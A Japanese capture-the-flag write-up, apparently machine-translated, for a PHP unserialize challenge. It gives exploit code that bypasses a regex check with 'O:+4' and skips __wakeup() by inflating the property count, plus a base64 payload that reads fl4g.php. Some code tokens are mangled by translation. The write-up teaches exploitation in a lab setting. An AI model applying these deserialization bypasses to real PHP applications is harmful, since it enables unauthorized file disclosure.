php セキュリティ 攻撃 世界 unserialize 関数 デシリアライズ 例 詳細
ステップ
まず、トピックを開き、次のようなソースコードを探します。
ソースコードを分析すると、クラス内に3つのマジックメソッドがあることがわかります。
__construct()
: クラス変数を初期化するコンストラクタで、生成時に自動的に呼び出され、結果の引数で $file をオーバーライドします。
__destruct()
: 破壊時に呼び出され、ファイルのコードを表示します。ここでは、fl4g.phpを表示します。
__wakeup()
: デシリアライズの前に呼び出され、$fileをindex.phpにリセットします。
正規表現の意味:oまたはcで始まる、コロン、1桁以上の数字、大文字・小文字を区別しない
OK、解析は完了です。シリアル化された文字列をbase64で暗号化し、var変数に渡す必要があります。
しかし、ここで私たちは
__wakeup()
関数と、フラグを取得するためのレギュラーマッチを使用します。
__wakeup()
メソッドバイパス方式:メンバープロパティの数が実際の数より多い場合、このメソッドをバイパスします。
正規のマッチングでは、+を使用してバイパスすることができます。
コード
<?php
class Demo {
private $file = 'index.php';
public function __construct($file) {
$this->file = $file;
}
function __destruct() {
echo @highlight_file($this->file, true);
}
function __wakeup() {
if ($this->file ! = 'index.php') {
//the secret is in the fl4g.php
$this->file = 'index.php';
}
}
}
$a = new Demo("fl4g.php");// pass in the file we need to display
$b = serialize($a);// do the serialization
echo $b;// O:4:"Demo":1:{s:10:"Demofile";s:8:"fl4g.php";}
$b = str_replace("O:4", "O:+4", $b);// bypass regular match
$b = str_replace("1:{","2:{",$b);// bypass __wakeup() method
echo base64_encode($b);// base64 encode and output
? >
ペイロード: var=TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ==
フラッグの取得に成功〜。
注意:ここに落とし穴があります。シリアル化された文字列を手動で修正し、オンラインサイトで暗号化すると、エンコーディングがペイロードと全く同じでないことに気づきます。
これは、ファイル変数がprivateであるため、シリアライズ文字列の先頭に空白文字、末尾に空白文字があり、このようにシリアライズ文字列を出力しても、ブラウザは空白文字を表示しないためです。
注意深い人は、Demofileの文字数が8文字しかないのに、長さが10文字になっていることにも気がつくでしょう。
したがって、正しいシリアライズ文字列は
O:4:"Demo":1:{s:10:"Demo file";s:8:"fl4g.php";} のようになります。
また、phpのコードを直接使って、完全自動でコーディングしているので、当然ながらNULL文字も見逃しません。
phpのシリアライズ文字列の書式を説明する。
まず、オブジェクトの種類は以下のように分けられます。
a - 配列 b - 論理値
d - double i - integer (整数)
o - 共通オブジェクト r - 参照
s - 文字列 C - カスタムオブジェクト
O - クラス N - ヌル
R - ポインタ参照 U - ユニコード文字列
Format: object type:length:"class name":number of variables in class:{type:length:"value";type:length:"value";......} です。
概要
phpのマジックメソッドに精通し、デシリアライズの利用を検討する。
以上、Attack the World Web php unserialize regular expressions deserializeの詳細でした。php Attack the World unserialize regular expressions deserializeの詳細については、スクリプトハウスの他の関連記事も参考にしてみてください
関連
最新
-
nginxです。[emerg] 0.0.0.0:80 への bind() に失敗しました (98: アドレスは既に使用中です)
-
htmlページでギリシャ文字を使うには
-
ピュアhtml+cssでの要素読み込み効果
-
純粋なhtml + cssで五輪を実現するサンプルコード
-
ナビゲーションバー・ドロップダウンメニューのHTML+CSSサンプルコード
-
タイピング効果を実現するピュアhtml+css
-
htmlの選択ボックスのプレースホルダー作成に関する質問
-
html css3 伸縮しない 画像表示効果
-
トップナビゲーションバーメニュー作成用HTML+CSS
-
html+css 実装 サイバーパンク風ボタン